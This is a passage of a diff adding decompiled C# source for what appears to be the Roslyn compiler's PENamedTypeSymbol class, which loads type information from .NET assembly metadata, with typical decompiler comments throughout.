ImmutableArray lazyFilePathChecksum; + + internal string lazyDisplayFileName; + } + + private class DeclarationOrderTypeSymbolComparer : IComparer + { + public static readonly DeclarationOrderTypeSymbolComparer Instance = new DeclarationOrderTypeSymbolComparer(); + + private DeclarationOrderTypeSymbolComparer() + { + } + + public int Compare(Symbol x, Symbol y) + { + return HandleComparer.Default.Compare(((PENamedTypeSymbol)x).Handle, ((PENamedTypeSymbol)y).Handle); + } + } + + private sealed class PENamedTypeSymbolNonGeneric : PENamedTypeSymbol + { + public override int Arity => 0; + + internal override bool MangleName => false; + + internal override int MetadataArity + { + get + { + if (_container is PENamedTypeSymbol pENamedTypeSymbol) + { + return pENamedTypeSymbol.MetadataArity; + } + return 0; + } + } + + internal override NamedTypeSymbol NativeIntegerUnderlyingType => null; + + internal PENamedTypeSymbolNonGeneric(PEModuleSymbol moduleSymbol, NamespaceOrTypeSymbol container, TypeDefinitionHandle handle, string emittedNamespaceName) + : base(moduleSymbol, container, handle, emittedNamespaceName, 0, out var _) + { + } + + protected override NamedTypeSymbol WithTupleDataCore(TupleExtraData newData) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Metadata/PE/PENamedTypeSymbol.cs", 2532); + } + + internal override NamedTypeSymbol AsNativeInteger() + { + if (ContainingAssembly.RuntimeSupportsNumericIntPtr) + { + return this; + } + return ContainingAssembly.GetNativeIntegerType(this); + } + + internal override bool Equals(TypeSymbol t2, TypeCompareKind comparison) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + if (!(t2 is NativeIntegerTypeSymbol nativeIntegerTypeSymbol)) + { + return base.Equals(t2, comparison); + } + return nativeIntegerTypeSymbol.Equals(this, comparison); + } + } + + private sealed class PENamedTypeSymbolGeneric : PENamedTypeSymbol + { + private readonly GenericParameterHandleCollection _genericParameterHandles; + + private readonly ushort _arity; + + private readonly bool _mangleName; + + private ImmutableArray _lazyTypeParameters; + + public override int Arity => _arity; + + internal override bool MangleName => _mangleName; + + internal override int MetadataArity => _genericParameterHandles.Count; + + internal override ImmutableArray TypeArgumentsWithAnnotationsNoUseSiteDiagnostics => GetTypeParametersAsTypeArguments(); + + public override ImmutableArray TypeParameters + { + get + { + EnsureTypeParametersAreLoaded(); + return _lazyTypeParameters; + } + } + + internal sealed override NamedTypeSymbol NativeIntegerUnderlyingType => null; + + internal PENamedTypeSymbolGeneric(PEModuleSymbol moduleSymbol, NamespaceOrTypeSymbol container, TypeDefinitionHandle handle, string emittedNamespaceName, GenericParameterHandleCollection genericParameterHandles, ushort arity) + : base(moduleSymbol, container, handle, emittedNamespaceName, arity, out var mangleName) + { + _arity = arity; + _genericParameterHandles = genericParameterHandles; + _mangleName = mangleName; + } + + protected sealed override NamedTypeSymbol WithTupleDataCore(TupleExtraData newData) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Metadata/PE/PENamedTypeSymbol.cs", 2612); + } + + internal sealed override NamedTypeSymbol AsNativeInteger() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Metadata/PE/PENamedTypeSymbol.cs", 2656); + } + + private void EnsureTypeParametersAreLoaded() + { + if (_lazyTypeParameters.IsDefault) + { + PEModuleSymbol containingPEModule = base.ContainingPEModule; + int num = _genericParameterHandles.Count - _arity; + TypeParameterSymbol[] array = new TypeParameterSymbol[_arity]; + for (int i = 0; i < array.Length; i++) + { + array[i] = new PETypeParameterSymbol(containingPEModule, this, (ushort)i, _genericParameterHandles[num + i]); + } + ImmutableInterlocked.InterlockedInitialize(ref _lazyTypeParameters, ImmutableArray.Create(array)); + } + } + + protected override DiagnosticInfo GetUseSiteDiagnosticImpl() + { + DiagnosticInfo result = null; + if (!MergeUseSiteDiagnostics(ref result, base.GetUseSiteDiagnosticImpl()) && !MatchesContainingTypeParameters()) + { + result = (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BogusType, this); + } + return result; + } + + private bool MatchesContainingTypeParameters() + { + NamedTypeSymbol containingType = ContainingType; + if ((object)containingType == null) + { + return true; + } + ImmutableArray allTypeParameters = containingType.GetAllTypeParameters(); + int length = allTypeParameters.Length; + if (length == 0) + { + return true; + } + ImmutableArray typeParameters = Create(base.ContainingPEModule, (PENamespaceSymbol)ContainingNamespace, _handle, null).TypeParameters; + TypeMap typeMap = new TypeMap(allTypeParameters, IndexedTypeParameterSymbol.Take(length)); + TypeMap typeMap2 = new TypeMap(typeParameters, IndexedTypeParameterSymbol.Take(typeParameters.Length)); + for (int i = 0; i < length; i++) + { + TypeParameterSymbol typeParameter = allTypeParameters[i]; + TypeParameterSymbol typeParameter2 = typeParameters[i]; + if (!MemberSignatureComparer.HaveSameConstraints(typeParameter, typeMap, typeParameter2, typeMap2)) + { + return false; + } + } + return true; + } + } + + private static readonly Dictionary, ImmutableArray> s_emptyNestedTypes = new Dictionary, ImmutableArray>((IEqualityComparer>?)EmptyReadOnlyMemoryOfCharComparer.Instance); + + private readonly NamespaceOrTypeSymbol _container; + + private readonly TypeDefinitionHandle _handle; + + private readonly string _name; + + private readonly TypeAttributes _flags; + + private readonly SpecialType _corTypeId; + + private ICollection _lazyMemberNames; + + private ImmutableArray _lazyMembersInDeclarationOrder; + + private Dictionary> _lazyMembersByName; + + private Dictionary, ImmutableArray> _lazyNestedTypes; + + private TypeKind _lazyKind; + + private NullableContextKind _lazyNullableContextValue; + + private NamedTypeSymbol _lazyBaseType = ErrorTypeSymbol.UnknownResultType; + + private ImmutableArray _lazyInterfaces; + + private NamedTypeSymbol _lazyDeclaredBaseType = ErrorTypeSymbol.UnknownResultType; + + private ImmutableArray _lazyDeclaredInterfaces; + + private Tuple _lazyDocComment; + + private CachedUseSiteInfo _lazyCachedUseSiteInfo = CachedUseSiteInfo.Uninitialized; + + private static readonly UncommonProperties s_noUncommonProperties = new UncommonProperties(); + + private UncommonProperties _lazyUncommonProperties; + + public override SpecialType SpecialType => _corTypeId; + + internal PEModuleSymbol ContainingPEModule + { + get + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Invalid comparison between Unknown and I4 + Symbol symbol = _container; + while ((int)symbol.Kind != 12) + { + symbol = symbol.ContainingSymbol; + } + return ((PENamespaceSymbol)symbol).ContainingPEModule; + } + } + + internal override ModuleSymbol ContainingModule => ContainingPEModule; + + public abstract override int Arity { get; } + + internal abstract override bool MangleName { get; } + + internal sealed override bool IsFileLocal + { + get + { + UncommonProperties lazyUncommonProperties = _lazyUncommonProperties; + if (lazyUncommonProperties != null) + { + ImmutableArray lazyFilePathChecksum = lazyUncommonProperties.lazyFilePathChecksum; + if (!lazyFilePathChecksum.IsDefault) + { + return lazyUncommonProperties.lazyDisplayFileName != null; + } + } + return false; + } + } + + internal sealed override FileIdentifier AssociatedFileIdentifier + { + get + { + UncommonProperties lazyUncommonProperties = _lazyUncommonProperties; + if (lazyUncommonProperties != null) + { + ImmutableArray lazyFilePathChecksum = lazyUncommonProperties.lazyFilePathChecksum; + if (!lazyFilePathChecksum.IsDefault) + { + string lazyDisplayFileName = lazyUncommonProperties.lazyDisplayFileName; + if (lazyDisplayFileName != null) + { + return FileIdentifier.Create(lazyFilePathChecksum, lazyDisplayFileName); + } + } + } + return null; + } + } + + internal abstract int MetadataArity { get; } + + internal TypeDefinitionHandle Handle => _handle; + + public override int MetadataToken => MetadataTokens.GetToken(_handle); + + internal sealed override bool IsInterpolatedStringHandlerType + { + get + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + UncommonProperties uncommonProperties = GetUncommonProperties(); + if (uncommonProperties == s_noUncommonProperties) + { + return false; + } + if (!ThreeStateHelpers.HasValue(uncommonProperties.lazyHasInterpolatedStringHandlerAttribute)) + { + uncommonProperties.lazyHasInterpolatedStringHandlerAttribute = ThreeStateHelpers.ToThreeState(ContainingPEModule.Module.HasInterpolatedStringHandlerAttribute((EntityHandle)_handle)); + } + return ThreeStateHelpers.Value(uncommonProperties.lazyHasInterpolatedStringHandlerAttribute); + } + } + + internal override bool HasCodeAnalysisEmbeddedAttribute + { + get + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + UncommonProperties uncommonProperties = GetUncommonProperties(); + if (uncommonProperties == s_noUncommonProperties) + { + return false; + } + if (!ThreeStateHelpers.HasValue(uncommonProperties.lazyHasEmbeddedAttribute)) + { + uncommonProperties.lazyHasEmbeddedAttribute = ThreeStateHelpers.ToThreeState(ContainingPEModule.Module.HasCodeAnalysisEmbeddedAttribute((EntityHandle)_handle)); + } + return ThreeStateHelpers.Value(uncommonProperties.lazyHasEmbeddedAttribute); + } + } + + internal override NamedTypeSymbol BaseTypeNoUseSiteDiagnostics + { + get + { + if ((object)_lazyBaseType == ErrorTypeSymbol.UnknownResultType) + { + Interlocked.CompareExchange(ref _lazyBaseType, MakeAcyclicBaseType(), ErrorTypeSymbol.UnknownResultType); + } + return _lazyBaseType; + } + } + + public override NamedTypeSymbol ConstructedFrom => this; + + public override Symbol ContainingSymbol => _container; + + public override NamedTypeSymbol ContainingType => _container as NamedTypeSymbol; + + internal override bool IsRecord + { + get + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + return SynthesizedRecordClone.FindValidCloneMethod(this, ref useSiteInfo) != null; + } + } + + internal override bool IsRecordStruct => false; + + public override Accessibility DeclaredAccessibility + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + Accessibility val = (Accessibility)1; + switch (_flags & TypeAttributes.VisibilityMask) + { + case TypeAttributes.NestedAssembly: + return (Accessibility)4; + case TypeAttributes.VisibilityMask: + return (Accessibility)5; + case TypeAttributes.NestedFamANDAssem: + return (Accessibility)2; + case TypeAttributes.NestedPrivate: + return (Accessibility)1; + case TypeAttributes.Public: + case TypeAttributes.NestedPublic: + return (Accessibility)6; + case TypeAttributes.NestedFamily: + return (Accessibility)3; + case TypeAttributes.NotPublic: + return (Accessibility)4; + default: + throw ExceptionUtilities.UnexpectedValue((object)(_flags & TypeAttributes.VisibilityMask)); + } + } + } + + public override NamedTypeSymbol EnumUnderlyingType + { + get + { + UncommonProperties uncommonProperties = GetUncommonProperties(); + if (uncommonProperties == s_noUncommonProperties) + { + return null; + } + EnsureEnumUnderlyingTypeIsLoaded(uncommonProperties); + return uncommonProperties.lazyEnumUnderlyingType; + } + } + + public override IEnumerable MemberNames + { + get + { + EnsureNonTypeMemberNamesAreLoaded(); + return _lazyMemberNames; + } + } + + internal override bool HasDeclaredRequiredMembers + { + get + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + UncommonProperties uncommonProperties = GetUncommonProperties(); + if (uncommonProperties == s_noUncommonProperties) + { + return false; + } + if (ThreeStateHelpers.HasValue(uncommonProperties.lazyHasRequiredMembers)) + { + return ThreeStateHelpers.Value(uncommonProperties.lazyHasRequiredMembers); + } + bool flag = ContainingPEModule.Module.HasAttribute((EntityHandle)_handle, AttributeDescription.RequiredMemberAttribute); + uncommonProperties.lazyHasRequiredMembers = ThreeStateHelpers.ToThreeState(flag); + return flag; + } + } + + internal override FieldSymbol FixedElementField + { + get + { + FieldSymbol result = null; + ImmutableArray members = GetMembers("FixedElementField"); + if (!members.IsDefault && members.Length == 1) + { + result = members[0] as FieldSymbol; + } + return result; + } + } + + public override ImmutableArray Locations => ImmutableArrayExtensions.Cast(ContainingPEModule.MetadataLocation); + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override string Name => _name; + + internal override bool HasSpecialName => (_flags & TypeAttributes.SpecialName) != 0; + + internal override ImmutableArray TypeArgumentsWithAnnotationsNoUseSiteDiagnostics => ImmutableArray.Empty; + + public override ImmutableArray TypeParameters => ImmutableArray.Empty; + + public override bool IsStatic + { + get + { + if ((_flags & TypeAttributes.Sealed) != TypeAttributes.NotPublic) + { + return (_flags & TypeAttributes.Abstract) != 0; + } + return false; + } + } + + public override bool IsAbstract + { + get + { + if ((_flags & TypeAttributes.Abstract) != TypeAttributes.NotPublic) + { + return (_flags & TypeAttributes.Sealed) == 0; + } + return false; + } + } + + internal override bool IsMetadataAbstract => (_flags & TypeAttributes.Abstract) != 0; + + public override bool IsSealed + { + get + { + if ((_flags & TypeAttributes.Sealed) != TypeAttributes.NotPublic) + { + return (_flags & TypeAttributes.Abstract) == 0; + } + return false; + } + } + + internal override bool IsMetadataSealed => (_flags & TypeAttributes.Sealed) != 0; + + internal TypeAttributes Flags => _flags; + + public sealed override bool AreLocalsZeroed + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Metadata/PE/PENamedTypeSymbol.cs", 1708); + } + } + + public override bool MightContainExtensionMethods + { + get + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Invalid comparison between Unknown and I4 + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Invalid comparison between Unknown and I4 + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + UncommonProperties uncommonProperties = GetUncommonProperties(); + if (uncommonProperties == s_noUncommonProperties) + { + return false; + } + if (!ThreeStateHelpers.HasValue(uncommonProperties.lazyContainsExtensionMethods)) + { + ThreeState lazyContainsExtensionMethods = (ThreeState)1; + TypeKind typeKind = TypeKind; + if (typeKind - 2 <= 1 || (int)typeKind == 10) + { + bool flag = ContainingPEModule.Module.HasExtensionAttribute((EntityHandle)_handle, false); + lazyContainsExtensionMethods = ((!(ContainingAssembly is PEAssemblySymbol pEAssemblySymbol)) ? ThreeStateHelpers.ToThreeState(flag) : ThreeStateHelpers.ToThreeState(flag && pEAssemblySymbol.MightContainExtensionMethods)); + } + uncommonProperties.lazyContainsExtensionMethods = lazyContainsExtensionMethods; + } + return ThreeStateHelpers.Value(uncommonProperties.lazyContainsExtensionMethods); + } + } + + public override TypeKind TypeKind + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Expected I4, but got Unknown + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Invalid comparison between Unknown and I4 + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + TypeKind val = _lazyKind; + if ((int)val == 0) + { + if (TypeAttributesExtensions.IsInterface(_flags)) + { + val = (TypeKind)7; + } + else + { + TypeSymbol declaredBaseType = GetDeclaredBaseType(skipTransformsIfNecessary: true); + val = (TypeKind)2; + if ((object)declaredBaseType != null) + { + SpecialType specialType = declaredBaseType.SpecialType; + switch (specialType - 2) + { + case 0: + val = (TypeKind)5; + break; + case 1: + val = (TypeKind)3; + break; + case 3: + if ((int)SpecialType != 2) + { + val = (TypeKind)10; + } + break; + } + } + } + _lazyKind = val; + } + return val; + } + } + + internal sealed override bool IsInterface => TypeAttributesExtensions.IsInterface(_flags); + + internal string DefaultMemberName + { + get + { + UncommonProperties uncommonProperties = GetUncommonProperties(); + if (uncommonProperties == s_noUncommonProperties) + { + return ""; + } + if (uncommonProperties.lazyDefaultMemberName == null) + { + string text = default(string); + ContainingPEModule.Module.HasDefaultMemberAttribute((EntityHandle)_handle, ref text); + Interlocked.CompareExchange(ref uncommonProperties.lazyDefaultMemberName, text ?? "", null); + } + return uncommonProperties.lazyDefaultMemberName; + } + } + + internal override bool IsComImport => (_flags & TypeAttributes.Import) != 0; + + internal override bool ShouldAddWinRTMembers => IsWindowsRuntimeImport; + + internal override bool IsWindowsRuntimeImport => (_flags & TypeAttributes.WindowsRuntime) != 0; + + internal override TypeLayout Layout => ContainingPEModule.Module.GetTypeLayout(_handle); + + internal override CharSet MarshallingCharSet + { + get + { + CharSet charSet = TypeAttributesExtensions.ToCharSet(_flags); + if (charSet == (CharSet)0) + { + return CharSet.Ansi; + } + return charSet; + } + } + + public override bool IsSerializable => (_flags & TypeAttributes.Serializable) != 0; + + public override bool IsRefLikeType + { + get + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Invalid comparison between Unknown and I4 + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + UncommonProperties uncommonProperties = GetUncommonProperties(); + if (uncommonProperties == s_noUncommonProperties) + { + return false; + } + if (!ThreeStateHelpers.HasValue(uncommonProperties.lazyIsByRefLike)) + { + ThreeState lazyIsByRefLike = (ThreeState)1; + if ((int)TypeKind == 10) + { + lazyIsByRefLike = ThreeStateHelpers.ToThreeState(ContainingPEModule.Module.HasIsByRefLikeAttribute((EntityHandle)_handle)); + } + uncommonProperties.lazyIsByRefLike = lazyIsByRefLike; + } + return ThreeStateHelpers.Value(uncommonProperties.lazyIsByRefLike); + } + } + + public override bool IsReadOnly + { + get + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Invalid comparison between Unknown and I4 + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + UncommonProperties uncommonProperties = GetUncommonProperties(); + if (uncommonProperties == s_noUncommonProperties) + { + return false; + } + if (!ThreeStateHelpers.HasValue(uncommonProperties.lazyIsReadOnly)) + { + ThreeState lazyIsReadOnly = (ThreeState)1; + if ((int)TypeKind == 10) + { + lazyIsReadOnly = ThreeStateHelpers.ToThreeState(ContainingPEModule.Module.HasIsReadOnlyAttribute((EntityHandle)_handle)); + } + uncommonProperties.lazyIsReadOnly = lazyIsReadOnly; + } + return ThreeStateHelpers.Value(uncommonProperties.lazyIsReadOnly); + } + } + + internal override bool HasDeclarativeSecurity => (_flags & TypeAttributes.HasSecurity) != 0; + + internal override NamedTypeSymbol ComImportCoClass + { + get + { + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Invalid comparison between Unknown and I4 + if (!this.IsInterfaceType()) + { + return null; + } + UncommonProperties uncommonProperties = GetUncommonProperties(); + if (uncommonProperties == s_noUncommonProperties) + { + return null; + } + if ((object)uncommonProperties.lazyComImportCoClassType == ErrorTypeSymbol.UnknownResultType) + { + TypeSymbol typeSymbol = ContainingPEModule.TryDecodeAttributeWithTypeArgument(Handle, AttributeDescription.CoClassAttribute); + NamedTypeSymbol value = (((object)typeSymbol != null && ((int)typeSymbol.TypeKind == 2 || typeSymbol.IsErrorType())) ? ((NamedTypeSymbol)typeSymbol) : null); + Interlocked.CompareExchange(ref uncommonProperties.lazyComImportCoClassType, value, ErrorTypeSymbol.UnknownResultType); + } + return uncommonProperties.lazyComImportCoClassType; + } + } + + internal override ObsoleteAttributeData ObsoleteAttributeData + { + get + { + UncommonProperties uncommonProperties = GetUncommonProperties(); + if (uncommonProperties == s_noUncommonProperties) + { + return null; + } + bool isRefLikeType = IsRefLikeType; + ObsoleteAttributeHelpers.InitializeObsoleteDataFromMetadata(ref uncommonProperties.lazyObsoleteAttributeData, _handle, ContainingPEModule, isRefLikeType, ignoreRequiredMemberMarker: false); + return uncommonProperties.lazyObsoleteAttributeData; + } + } + + internal sealed override CSharpCompilation DeclaringCompilation => null; + + private UncommonProperties GetUncommonProperties() + { + UncommonProperties lazyUncommonProperties = _lazyUncommonProperties; + if (lazyUncommonProperties != null) + { + return lazyUncommonProperties; + } + if (IsUncommon()) + { + lazyUncommonProperties = new UncommonProperties(); + return Interlocked.CompareExchange(ref _lazyUncommonProperties, lazyUncommonProperties, null) ?? lazyUncommonProperties; + } + return _lazyUncommonProperties = s_noUncommonProperties; + } + + private bool IsUncommon() + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Invalid comparison between Unknown and I4 + if (ContainingPEModule.HasAnyCustomAttributes(_handle)) + { + return true; + } + if ((int)TypeKind == 5) + { + return true; + } + return false; + } + + internal static PENamedTypeSymbol Create(PEModuleSymbol moduleSymbol, PENamespaceSymbol containingNamespace, TypeDefinitionHandle handle, string emittedNamespaceName) + { + BadImageFormatException mrEx = null; + GetGenericInfo(moduleSymbol, handle, out var genericParameterHandles, out var arity, out mrEx); + PENamedTypeSymbol pENamedTypeSymbol = ((arity != 0) ? ((PENamedTypeSymbol)new PENamedTypeSymbolGeneric(moduleSymbol, containingNamespace, handle, emittedNamespaceName, genericParameterHandles, arity)) : ((PENamedTypeSymbol)new PENamedTypeSymbolNonGeneric(moduleSymbol, containingNamespace, handle, emittedNamespaceName))); + if (mrEx != null) + { + pENamedTypeSymbol._lazyCachedUseSiteInfo.Initialize((DiagnosticInfo)(((object)pENamedTypeSymbol.DeriveCompilerFeatureRequiredDiagnostic()) ?? ((object)new CSDiagnosticInfo(ErrorCode.ERR_BogusType, pENamedTypeSymbol)))); + } + return pENamedTypeSymbol; + } + + private static void GetGenericInfo(PEModuleSymbol moduleSymbol, TypeDefinitionHandle handle, out GenericParameterHandleCollection genericParameterHandles, out ushort arity, out BadImageFormatException mrEx) + { + try + { + genericParameterHandles = moduleSymbol.Module.GetTypeDefGenericParamsOrThrow(handle); + arity = (ushort)genericParameterHandles.Count; + mrEx = null; + } + catch (BadImageFormatException ex) + { + arity = 0; + genericParameterHandles = default(GenericParameterHandleCollection); + mrEx = ex; + } + } + + internal static PENamedTypeSymbol Create(PEModuleSymbol moduleSymbol, PENamedTypeSymbol containingType, TypeDefinitionHandle handle) + { + BadImageFormatException mrEx = null; + GetGenericInfo(moduleSymbol, handle, out var genericParameterHandles, out var arity, out mrEx); + ushort arity2 = 0; + int metadataArity = containingType.MetadataArity; + if (arity > metadataArity) + { + arity2 = (ushort)(arity - metadataArity); + } + PENamedTypeSymbol pENamedTypeSymbol = ((arity != 0) ? ((PENamedTypeSymbol)new PENamedTypeSymbolGeneric(moduleSymbol, containingType, handle, null, genericParameterHandles, arity2)) : ((PENamedTypeSymbol)new PENamedTypeSymbolNonGeneric(moduleSymbol, containingType, handle, null))); + if (mrEx != null || arity < metadataArity) + { + pENamedTypeSymbol._lazyCachedUseSiteInfo.Initialize((DiagnosticInfo)(((object)pENamedTypeSymbol.DeriveCompilerFeatureRequiredDiagnostic()) ?? ((object)new CSDiagnosticInfo(ErrorCode.ERR_BogusType, pENamedTypeSymbol)))); + } + return pENamedTypeSymbol; + } + + private PENamedTypeSymbol(PEModuleSymbol moduleSymbol, NamespaceOrTypeSymbol container, TypeDefinitionHandle handle, string emittedNamespaceName, ushort arity, out bool mangleName) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0123: Unknown result type (might be due to invalid IL or missing references) + //IL_0104: Unknown result type (might be due to invalid IL or missing references) + //IL_010a: Invalid comparison between Unknown and I4 + //IL_0115: Unknown result type (might be due to invalid IL or missing references) + //IL_011a: Unknown result type (might be due to invalid IL or missing references) + bool flag = false; + string text; + try + { + text = moduleSymbol.Module.GetTypeDefNameOrThrow(handle); + } + catch (BadImageFormatException) + { + text = string.Empty; + flag = true; + } + _handle = handle; + _container = container; + try + { + _flags = moduleSymbol.Module.GetTypeDefFlagsOrThrow(handle); + } + catch (BadImageFormatException) + { + flag = true; + } + if (arity == 0) + { + _name = text; + mangleName = false; + } + else + { + _name = MetadataHelpers.UnmangleMetadataNameForArity(text, (int)arity); + mangleName = (object)_name != text; + } + if (_lazyUncommonProperties != null) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Metadata/PE/PENamedTypeSymbol.cs", 326); + } + if (container.IsNamespace && GeneratedNameParser.TryParseFileTypeName(_name, out string displayFileName, out byte[] checksum, out string originalTypeName)) + { + _name = originalTypeName; + _lazyUncommonProperties = new UncommonProperties + { + lazyFilePathChecksum = ((IEnumerable)checksum).ToImmutableArray(), + lazyDisplayFileName = displayFileName + }; + } + if (emittedNamespaceName != null && moduleSymbol.ContainingAssembly.KeepLookingForDeclaredSpecialTypes && (int)DeclaredAccessibility == 6) + { + _corTypeId = SpecialTypes.GetTypeFromMetadataName(MetadataHelpers.BuildQualifiedName(emittedNamespaceName, text)); + } + else + { + _corTypeId = (SpecialType)0; + } + if (flag) + { + _lazyCachedUseSiteInfo.Initialize((DiagnosticInfo)(((object)DeriveCompilerFeatureRequiredDiagnostic()) ?? ((object)new CSDiagnosticInfo(ErrorCode.ERR_BogusType, this)))); + } + } + + internal override ImmutableArray InterfacesNoUseSiteDiagnostics(ConsList basesBeingResolved = null) + { + if (_lazyInterfaces.IsDefault) + { + ImmutableInterlocked.InterlockedCompareExchange(ref _lazyInterfaces, MakeAcyclicInterfaces(), default(ImmutableArray)); + } + return _lazyInterfaces; + } + + internal override ImmutableArray GetInterfacesToEmit() + { + return InterfacesNoUseSiteDiagnostics(); + } + + internal override NamedTypeSymbol GetDeclaredBaseType(ConsList basesBeingResolved) + { + return GetDeclaredBaseType(skipTransformsIfNecessary: false); + } + + private NamedTypeSymbol GetDeclaredBaseType(bool skipTransformsIfNecessary) + { + if ((object)_lazyDeclaredBaseType == ErrorTypeSymbol.UnknownResultType) + { + NamedTypeSymbol namedTypeSymbol = MakeDeclaredBaseType(); + if ((object)namedTypeSymbol != null) + { + if (skipTransformsIfNecessary) + { + return namedTypeSymbol; + } + PEModuleSymbol containingPEModule = ContainingPEModule; + namedTypeSymbol = (NamedTypeSymbol)NullableTypeDecoder.TransformType(TypeWithAnnotations.Create(TupleTypeDecoder.DecodeTupleTypesIfApplicable(NativeIntegerTypeDecoder.TransformType(DynamicTypeDecoder.TransformType(namedTypeSymbol, 0, _handle, containingPEModule, (RefKind)0), _handle, containingPEModule, this), _handle, containingPEModule)), _handle, containingPEModule, this, this).Type; + } + Interlocked.CompareExchange(ref _lazyDeclaredBaseType, namedTypeSymbol, ErrorTypeSymbol.UnknownResultType); + } + return _lazyDeclaredBaseType; + } + + internal override ImmutableArray GetDeclaredInterfaces(ConsList basesBeingResolved) + { + if (_lazyDeclaredInterfaces.IsDefault) + { + ImmutableInterlocked.InterlockedCompareExchange(ref _lazyDeclaredInterfaces, MakeDeclaredInterfaces(), default(ImmutableArray)); + } + return _lazyDeclaredInterfaces; + } + + private NamedTypeSymbol MakeDeclaredBaseType() + { + if (!TypeAttributesExtensions.IsInterface(_flags)) + { + try + { + PEModuleSymbol containingPEModule = ContainingPEModule; + EntityHandle baseTypeOfTypeOrThrow = containingPEModule.Module.GetBaseTypeOfTypeOrThrow(_handle); + if (!baseTypeOfTypeOrThrow.IsNil) + { + return (NamedTypeSymbol)((MetadataDecoder)new MetadataDecoder(containingPEModule, this)).GetTypeOfToken(baseTypeOfTypeOrThrow); + } + } + catch (BadImageFormatException mrEx) + { + return new UnsupportedMetadataTypeSymbol(mrEx); + } + } + return null; + } + + private ImmutableArray MakeDeclaredInterfaces() + { + try + { + PEModuleSymbol containingPEModule 